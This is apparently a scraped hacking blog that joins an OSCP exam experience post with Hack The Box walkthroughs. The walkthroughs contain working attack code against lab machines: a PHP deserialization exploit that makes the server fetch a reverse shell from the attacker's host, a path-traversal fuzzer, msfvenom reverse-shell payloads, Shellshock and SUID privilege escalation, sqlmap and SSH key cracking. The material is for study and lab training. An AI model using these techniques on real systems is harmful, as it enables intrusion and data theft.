WARNING: This firmware WILL brick your Sentry Mini or Sentry Plus. DO NOT use this firmware on a Sentry Mini or a Sentry Plus. In fact, do not use it on anything unless you know what you are doing. You WILL void your warranty when using firmware from unofficial sources.
Remember these? Don’t worry, uncle Dimme is back with the latest and the greatest!
My Sentry decided to update and of course I had to do some sniffy sniffy. Here is the latest firmware for those who are interested in being able to downgrade their devices:
And just in case this is the last firmware ever, here is the request sent by the iPad upgrade Sentry. It contains all information needed to perform a downgrade too.
An important factor is one’s prior experiences. It is very likely that I was coding, setting up web-servers, routers, hacking WiFi, and compiling Apache before you were born. Keep that in mind as I explain what worked for me. No I’m not 100 yet, just 37.
Beyond that, I have a Master’s in Computer Science, researched in Wireless Communications for 3 years, worked as an Embedded Software Developer for 3 more years, and worked as a Security Analyst in a SOC for a year and a half after that, before embarking on my OSCP journey. Why do I need the OSCP if I did all that? Personally, I don’t need it, but HR doesn’t care how may PhDs you have, or what you do in your free time. All that matters nowadays is certifications from private companies.
Timeline
Prior purchasing the OSCP course, I set up a plan on how to get there. I wanted to be structured and do as much as possible to maximize my chances of passing the exam. The plan was:
Complete TJ_Null’s list of Hack The Box OSCP-like machines.
Enroll in the OSCP/PEN-200 course and complete your certification.
I completed 1. Being super-motivated in the beginning, I started on TJ_Null’s list. I did a few machines on the list and a few others that attracted my attention (Lame, Brainfuck, Shocker, Bashed, BroScience). Then life got in the way, motivation kinda went down and I didn’t do much more.
On May 25th 2023 I purchased the OSCP course. Due to work and life, by mid-April 2024 (almost a year later) I had only gone through 18 out of the 25 chapters in the training material, and I had completed zero (0) challenge labs. With a bit over a month left in my subscription, I started panicking.
So what did I do? What I do best; isolated myself from the world and focused 110% on one single task. April 21st-23rd I finished all remaining chapters in the training material and did all of the Capstone exercises. I had decided that if I’m gonna have any chance to pass, I will need the 10 bonus points. That meant that I had a bit over a week to complete 30 out of the 57 challenge labs. Starting on April 23rd, I went full beast-mode on the challenge labs. By April 28th, and after I had lost 4 kgs, I had completed 37 our of the 57 challenge labs and therefore earned the aforementioned 10 bonus points. Btw, thanks to the guys and girls in the #pen-200-challenge-labs Discord! Invaluable help!
I decided this is enough, I got of out of my cave, and had a BBQ for May 1st with some friends, to replenish my lost weight during the week of horror.
The day is May 2nd, 08:00 AM, and the exam starts. I started with the AD-set, but I was struggling to gain foothold. At around 10:30 AM I gave up on the AD-set, and started focusing on the other independent machines. By 03:20 PM I had pwned all independent machines and took a breath of relief. I had technically passed the exam since I had 60 points + 10 bonus points = 70 points.
I took a break for half an hour or so, had a cup of coffee, and went back to tackle the AD-set. No kidding, I was banging my head on the AD set for hours and hours, until around 02:00 AM the NEXT day, without getting anywhere. Eventually, I gained foothold. I cannot go into details but I can say that OffSec loves their rabbit-holes. If you get stuck somewhere it is likely a rabbit-hole. Having gained foothold, I pwn the entire AD-set and get domain admin by 04:15 AM.
By that point I’m completely exhausted. I haven’t slept for over 22 hours. I spent another hour checking that my notes are compete, I checked out and went to bed. The next day I wrote the report as detailed as possible and uploaded it to the portal according to OffSec’s instructions. By May 5th I had the pass mail in my inbox, 12 days after I started working on the challenge labs.
Reflections
Was the exam hard? Not really. Not hard, but tricky. The recipe that works for me is curiosity. Privilege escalation was easy for me since I click and look everywhere and don’t even have to do any advanced enumeration to get there. What I suck at is initial enumeration. For that I probably needed a checklist, but my chaotic nature eventually worked out and I got in. What should you do? Do that works best for you.
Did I do any PG boxes? Nope, didn’t touch them. Just the training material, and the following challenge labs: Medtech, Relia, OSCP-A, OSCP-B, OSCP-C.
How did I take notes? What was my structure? I had no structure. Studying in constrained time conditions meant that I had to do the best I can with the limited time available to me. My tactic was to have a document and just dump any useful commands that I find in there. Then Ctrl+F in that document during the exam and hack on! How should you take notes? The way that works best for you!
Should I put more focus on A or B? All subjects within the OSCP study material are equally important. Just because I got something on the exam it doesn’t mean that you will get the same.
Do I have any final thoughts? Yes. Do like me: Assume that you suck at this and prepare for failure. The best way to prepare for failure is to ensure you have the 10 extra bonus points on the exam. By doing so, you may accidentally learn something and score 100 + 10 points on the exam.
import ssl
import urllib.request
import urllib.parse
pwn = open('dotdotpwn.txt')
for line in pwn:
line = line.strip()
req = urllib.request.urlopen('https://broscience.htb/includes/img.php?path='+line,context=ssl._create_unverified_context())
ans = req.read().decode()
if 'root:' in ans:
print('Payload found: ' + line)
break
Using grep -r ".php" . I searched for any .php files I might have missed, but that was all:
Of course, now we have credentials to the database:
In the meanwhile, as I was analyzing the PHP files, I found a potential vulnerability in utils.php.
The Avatar class writes a file using the save() function. The save() function is called by AvatarInterface in __wakeup(), which is called after you unserialize() an object of class AvatarInterface. If we set the 'user-prefs' cookie manually with a serialized instance of AvatarInterface we can get it to write a reverse shell to a file. But for that, we will need a user. If we register a user, we need to guess 32 character alphanumeric code to activate it. However, that may not be as complicated as we think, since the generation of the activation code seems to be deterministic in generate_activation_code().
Since registration and activation seem a little bit too much to do manually, and they probably have to happen in quick succession (the site deletes users after some time), it’s better to develop our own exploit for this.
<?php
// Read the local IP from STDIN
$local_ip = trim(fgets(STDIN));
// Class needed for the payload
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
// GET request using cURL
function get($url, $cookie = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
if (!empty($cookie)) {
$headers = array();
$headers[] = 'Cookie: ' . $cookie;
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
$result = curl_exec($ch);
if (curl_errno($ch)) {
die('[-] Error:' . curl_error($ch) . "\n");
}
curl_close($ch);
return $result;
}
// POST request using cURL
function post($url, $data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
if (curl_errno($ch)) {
die('[-] Error:' . curl_error($ch) . "\n");
}
curl_close($ch);
return $result;
}
// Generates possible activation codes for the time when the user was created
// plus/minus $timespan seconds.
function possible_activation_codes($time) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
$timespan = 5; // Generate codes for +/- $timespan seconds
$codes = [];
for ($t = $time - $timespan; $t <= $time + $timespan; $t++) {
srand($t);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
$codes []= $activation_code;
}
return $codes;
}
// Registers a new account
$username = uniqid();
$password = '123';
$time_of_registration = time();
$result = post('https://broscience.htb/register.php', "username=$username&email=$username%40broscience.htb&password=$password&password-confirm=$password");
if (str_contains($result, 'Account created')) {
echo '[+] Account created: ' . $username . "\n";
} else {
die('[-] Failed to create account.' . "\n");
}
// Activates the account
$codes = possible_activation_codes($time_of_registration);
$tries = 0;
foreach($codes as $code) {
echo '[-] Trying code: ' . $code . "\n";
$result = get('https://broscience.htb/activate.php?code=' . $code);
if (str_contains($result, 'Account activated')) {
echo '[+] Account activated!' . "\n";
break;
}
$tries++;
}
if ($tries == count($codes)) die('[-] Failed to activate account. Try increasing $timespan' . "\n");
// Uses the account to authenticate
$result = post('https://broscience.htb/login.php',"username=$username&password=$password");
preg_match('/PHPSESSID=(.+);/', $result, $matches);
$phpsessid = $matches[1];
echo '[+] Got PHPSESSID!' . "\n";
// Uploads a PHP reverse shell
$payload = new AvatarInterface();
$payload->tmp = 'http://'.$local_ip.'/shelly.php';
$payload->imgPath = '/var/www/html/shelly.php';
$payload = base64_encode(serialize($payload));
$result = get('https://broscience.htb/user.php',"PHPSESSID=$phpsessid; user-prefs=$payload");
echo '[+] Payload uploaded!' . "\n";
// Executes the reverse shell
echo '[+] Payload executing... check msfconsole and then Ctrl+C this!' . "\n";
get('https://broscience.htb/shelly.php');
echo '[-] You should not see this line, started the python http server?' . "\n";
Now, we open 3 terminal tabs and run the following:
And after many hours and an annoyed girlfriend in the house, we got an initial foothold on the server!
Next step is to get the flags, which was actually very easy to obtain. Not sure if this was the intended path:
# Switch to a shell
meterpreter > shell
# Stabilize it and make it nice with python
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Search for SUID binaries
bash-5.1$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/mount
/usr/bin/ntfs-3g
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/bash
/usr/bin/chsh
/usr/libexec/polkit-agent-helper-1
# BASH??? REALLY???
bash-5.1$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
bf61***************************************
bash-5.1# cat /home/bill/user.txt
6948***************************************
What did we learn from this box? I have to admit gaining an initial foothold was pretty tough. Not difficult as such, but required in-depth analysis of the web application source code for common mistakes. Sometimes you just have to develop your own exploits!
PS: I’ve read from other walkthroughs that this was not the intended path, and I found some evidence on the machine (certificate generation by root) while getting the flags that I ignored since the SUID binary path was much easier. How did the SUID binary get there? From some other user that was solving the machine at the same time. I will revisit this machine in the future and update the this article accordingly.
I will skip the usual “add the host IP to /etc/hosts” etc etc etc…
Enumerate ports:
nmap -p- bashed.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 10:35 EST
Nmap scan report for bashed.htb (10.10.10.68)
Host is up (0.066s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Visit the URL at http://bashed.htb/
Quickly enumerate using dirb:
$ dirb http://bashed.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Jan 9 10:36:05 2023
URL_BASE: http://bashed.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://bashed.htb/ ----
==> DIRECTORY: http://bashed.htb/css/
==> DIRECTORY: http://bashed.htb/dev/
...
Take a wild guess and append /phpbash.php to /dev/, and voila:
User pwned.
PS: It is even easier if you click on the article link in the home page.
Onto r0ot!
First, let’s get a Meterpreter reverse shell to make out lives easier:
In Kali:
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f elf -o shelly.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: shelly.elf
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.68 - - [09/Jan/2023 10:47:32] "GET /shelly.elf HTTP/1.1" 200 -
$ msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Sending stage (3045348 bytes) to 10.10.10.68
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.68:35560) at 2023-01-09 10:49:43 -0500
meterpreter > getuid
Server username: www-data
I can easily get root using the exploit/linux/local/bpf_sign_extension_priv_esc payload since this is a 5-year-old machine, but I want to look around for the intended path first.
After some digging around, I managed to escalate privileges as user scriptmanager:
$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
$ sudo -u scriptmanager bash -i
$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)
$ ls -hali /scripts
total 16K
34468 drwxrwxr-- 2 scriptmanager scriptmanager 4.0K Jun 2 2022 .
2 drwxr-xr-x 23 root root 4.0K Jun 2 2022 ..
43823 -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
34781 -rw-r--r-- 1 root root 12 Jan 9 08:19 test.txt
$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
$ cat test.txt
testing 123!
text.txt has a very recent timestamp and is owned by root, which means root is likely executing test.py regularly. Let’s put a reverse shell in there (this time without Metasploit for the fun of it). Run this locally:
On to the next machine! Me being lazy just trying port 80 before doing any scan:
So let’s bug him? We got the following software running on the server:
$ sudo nmap -sV -O shocker.htb
...
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
Old Apache means we should look for scripts in /cgi-bin and maybe be able to exploit one using Shellshock.
After much (dir)busting, I found this:
$ curl http://shocker.htb/cgi-bin/user.sh
Content-Type: text/plain
Just an uptime test script
08:49:56 up 1:21, 0 users, load average: 0.06, 0.06, 0.01
Then I used Metasploit with the following options (truncated default values from the paste) and got an initial foothold as a user:
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS shocker.htb yes The target host(s)
RPORT 80 yes The target port (TCP)
TARGETURI /cgi-bin/user.sh yes Path to CGI script
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.4 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux x86_64
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (1017704 bytes) to 10.10.10.56
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.56:40898) at 2023-01-09 08:58:46 -0500
meterpreter > getuid
Server username: shelly
Getting root doesn’t seem to be much more complicated. We can run sudo perl as root without any password:
meterpreter > shell
Process 3852 created.
Channel 4 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
shelly@Shocker:~$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
If the server looks empty, keep enumerating the URL. Go into specific file types that one may expect to find in directions like cgi-bin. E.g. don’t look for .php files in cgi-bin but rather .cgi or .sh.
Alright, I have to mention this one has intimidated me. It has a level of “insane.”
Let’s start. A simple portscan reveals the following open ports:
$ nmap 10.10.10.17
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-08 06:38 EST
Nmap scan report for 10.10.10.17
Host is up (0.023s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
110/tcp open pop3
143/tcp open imap
443/tcp open https
The SSL cert points to brainfuck.htb, so we better add that to the /etc/hosts file:
10.10.10.17 brainfuck.htb
It seems that it runs a WordPress installation, with a cryptic message: “SMTP Integration is ready. Please check and send feedback to orestis@brainfuck.htb”. Some really guess:
Gain access and upload a web shell?
Do something with port 25 as user orestis?
At least we know that the admin user is called “admin”. Otherwise, our very helpful login page tells us that the user doesn’t exist:
Using wpscan we find the following helpful information:
[+] XML-RPC seems to be enabled: https://brainfuck.htb/xmlrpc.php
[+] WordPress readme found: https://brainfuck.htb/readme.html
[+] The external WP-Cron seems to be enabled: https://brainfuck.htb/wp-cron.php
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
[+] WordPress theme in use: proficient
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[+] wp-support-plus-responsive-ticket-system version 7.1.3
Nice, a smörgåsboard of possibilities. The plugin “Support Plus Responsive Ticket System 7.1.3” has two public exploits:
Now let’s create a nice Meterpreter reverse_tcp PHP payload:
$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f raw -o shelly.php
And paste it in the bottom of footer.php at https://brainfuck.htb/wp-admin/theme-editor.php?file=footer.php&theme=proficient
Oh wait, there is no save button. Oh wait, the file is not writable! Argh… You see, guys, I’m not making this up. This is me trying to solve the CTF in real-time.
Let’s try the SQL injection vulnerability. Maybe helpful something is hidden in the depths of MySQL.
According to the exploit, the POST parameter “cat_id” in the wp/admin/admin-ajax.php path is vulnerable. This sqlmap command dumps the database:
This will take some time, get some coffee and watch a couple of Mr. Robot episodes on Netflix. There are probably more efficient ways of extracting the database, but I feel lazy right now.
Oh wait (again), while lazy-browsing around I found this page, containing the following SMTP credentials at https://brainfuck.htb/wp-admin/options-general.php?page=swpsmtp_settings
Using these credentials, we can authenticate towards the POP3 server (likely also the IMAP) using Thunderbird and fetch the emails for user orestis. There is an interesting message from root:
Hi there, your credentials for our "secret" forum are below 😄
username: orestis
password: kIEnnfEKJ#9UmdO
Regards
Looking at the SSL certificate for brainfuck.htb we can find the “secret” forum:
Which we add to /etc/hosts and visit the URL https://sup3rs3cr3t.brainfuck.htb/
After we authenticate using the aforementioned credentials, we see the following interesting conversation in the forum at https://sup3rs3cr3t.brainfuck.htb/d/3-key
This looks like a cipher. If we look at orestis’ profile, we can see he always signs his messages with the following:
Orestis - Hacking for fun and profit
Pieagnm - Jkoijeg nbw zwx mle grwsnn
Wejmvse - Fbtkqal zqb rso rnl cwihsf
Qbqquzs - Pnhekxs dpi fca fhf zdmgzt
We can safely assume that these strings mean the same thing. Knowing a common factor across several messages is partially how Rejewski cracked the Enigma cipher. Do we have something similar here?
We can also safely assume that this is the link to the SSH key, and thus something like:
Now let’s try to solve this. If we calculate the distances and arrange them like so, we can see a kind of pattern:
If we try to fill in the blanks, and “re-arrange” the parts of the sequence that repeat, we get something like this:
After many hours of sweat and tears (aka decoding a small piece, using it to get new offsets, decoding another small piece, etc…), I finally managed to decode the messages by writing a small PHP script (why PHP? I hate snakes):
It is sort-off a XOR cipher, but with modulo 26 addition instead of XOR and offset by the ASCII value for “a” or “A.”
PS from the next day: Apparently, this is the “Vigenère cipher,” and the password is “FUCKMYBRAIN.” Look at this beauty: $ php -r 'foreach (str_split("FUCKMYBRAIN") as $c) echo (1+ord("Z")-ord($c)).",";'; 21,6,24,16,14,2,25,9,26,18,13, # Same as I came up with
I’m proud that I managed to solve it without any knowledge of what a Vigenère cipher is.
Running my script gives us the solution:
$ php decode.php
Hey give me the url for my key bitch :) Orestis - Hacking for fun and profit
Say please and i just might do so...
Pleeeease.... Orestis - Hacking for fun and profit
There you go you stupid fuck, I hope you remember your key password because I dont :) https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
No problem, I'll brute force it ;) Orestis - Hacking for fun and profit
Don’t you love their chemistry? I certainly do.
Anyways, now we can download the private key and try login to the machine using SSH:
$ wget --no-check-certificate https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
$ chmod 600 id_rsa
$ ssh -l orestis -i id_rsa brainfuck.htb
Enter passphrase for key 'id_rsa':
Oh well, fuck. We have to brute force the private key password:
And the password has been found. By the way, it means “3 small birds” in Greek. Που κάθονταν τα τρια πουλάκια ρε μεγάλε Ορέστη;
May we finally log in to the machine?
$ ssh -l orestis -i id_rsa brainfuck.htb
Enter passphrase for key 'id_rsa': (3poulakia!)
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
You have mail.
Last login: Mon Oct 3 19:41:38 2022 from 10.10.14.23
orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)
Ehm, I got root very quickly. I don’t think this was the intended path (old machine/new exploits). Basically, I upgraded to a meterpreter shell, ran the post/multi/recon/local_exploit_suggester module, and then ran the exploit/linux/local/bpf_sign_extension_priv_esc module, which was one of the many exploits suggested. I instantly got root, and the flag was right there:
But let’s try to get root the way we were intended to. If we look in orestis’ home dir, there is a script named encrypt.sage that encrypts the root flag and saves it in /home/orestis/output.txt. It looks like an RSA encryption implementation in SageMath. SageMath is a Python-based open-source scripting language for mathematicians. All the information, including the p, q and e keys used during encryption, are available in /home/orestis/debug.txt.
nbits = 1024
password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
e = ZZ.random_element(phi)
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')
Using the information available, I wrote another SageMath script that decrypts the root flag:
# The encrypted message
c = Integer(int(open("output.txt").read().split(" ")[2].strip()));
# Values that were used during encryption
p = Integer(int(open("debug.txt").read().split('\n')[0].strip()));
q = Integer(int(open("debug.txt").read().split('\n')[1].strip()));
e = Integer(int(open("debug.txt").read().split('\n')[2].strip()));
phi = (p-1)*(q-1)
n = p*q
# In RSA, the decryption key d is the multiplicative inverse of e.
# We compute is as such:
d = pow(e, -1, phi)
# And thus the remainder of e*d dividing phi must be equal to 1:
print "This must be equal to 1: " + str((e*d) % phi)
# Now that we have the decryption key d we decrypt message c as such:
m = pow(c, d, n)
print "Root flag: " + ('%x' % int(m)).decode('hex')
And tada, we get the same key once again:
$ sage decrypt.sage
This must be equal to 1: 1
Root flag: 6efc********************************
What did we learn from this box? Two things for me:
Even “insane” machines have a solution given enough time.
Older machines are most certainly easier to root using new exploits and vulnerabilities, but maybe I should stick to the intended path if I want to learn something.
Since this is the first machine for this journey, let’s that by downloading the OpenVPN configuration from HTB and creating a quick alias to connect (I will be using Kali Linux by the way, not the integrated Pwnbox):
$ nmap 10.10.10.3
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-08 04:22 EST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.04 seconds
$ ping 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=22.0 ms
64 bytes from 10.10.10.3: icmp_seq=2 ttl=63 time=22.6 ms
...
Which is immediately lying that the machine doesn’t respond to ping. You need to add the -Pn flag to scan a machine that doesn’t “respond to ping”:
$ nmap 10.10.10.3 -Pn
...
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 4.78 seconds
It seems the machine has SMB shares, let’s enumerate them:
$ smbclient -L 10.10.10.3
Password for [WORKGROUP\kali]: (empty)
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
“oh noes!”? lol. Lame, I guess? Let’s see what we find in tmp:
$ smbclient \\10.10.10.3\tmp 130 ⨯
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: > ls
. D 0 Sun Jan 8 04:31:20 2023
.. DR 0 Sat Oct 31 03:33:58 2020
.ICE-unix DH 0 Sun Jan 8 04:20:46 2023
vmware-root DR 0 Sun Jan 8 04:21:13 2023
.X11-unix DH 0 Sun Jan 8 04:21:12 2023
.X0-lock HR 11 Sun Jan 8 04:21:12 2023
vgauthsvclog.txt.0 R 1600 Sun Jan 8 04:20:44 2023
5574.jsvc_up R 0 Sun Jan 8 04:21:50 2023
7282168 blocks of size 1024. 5386552 blocks available
Of these files, only vgauthsvclog.txt.0 and .X0-lock are downloadable, and they contain no valuable information. None of the other shares seems to be useful either. Maybe we need to find some credentials first.
The other open services did not accept connections without credentials either. However, I noticed generally outdated software running. Let’s do a deeper scan and see if there is a vulnerability we can find:
There are a few more interesting paths on this machine. My guess is there is more than one way to the flags, but I will leave this up to you to explore!
So what did we learn from this machine? Sometimes a host is so open you don’t know where to start =).
Over the next few months (years?) I will document my attempt to obtain the OSCP certification on this blog. By doing my own research online, I have concluded that probably the following path is the most optimal:
Complete TJ_Null’s list of Hack The Box OSCP-like machines.
Enroll in the OSCP/PEN-200 course and complete your certification.
As evident by the list above, I have completed the first step:
So the next step is to complete TJ_Null’s list.
I’m aware that many other security professionals have done similarly in the past, and this is my way of learning while returning to this site and reviewing my notes. As a bonus, you can use my notes in your journey should you decide to take the OSCP certification.
By the way, here is my Hack The Box profile, and yes, sadly, you will need a VIP subscription to be able to access retired machines. I purchased the annual subscription and canceled it immediately so that it doesn’t surprise me by renewing automatically in a year.
Want to follow my journey in real time? Subscribe to this site’s RSS feed (yes, this still is a thing).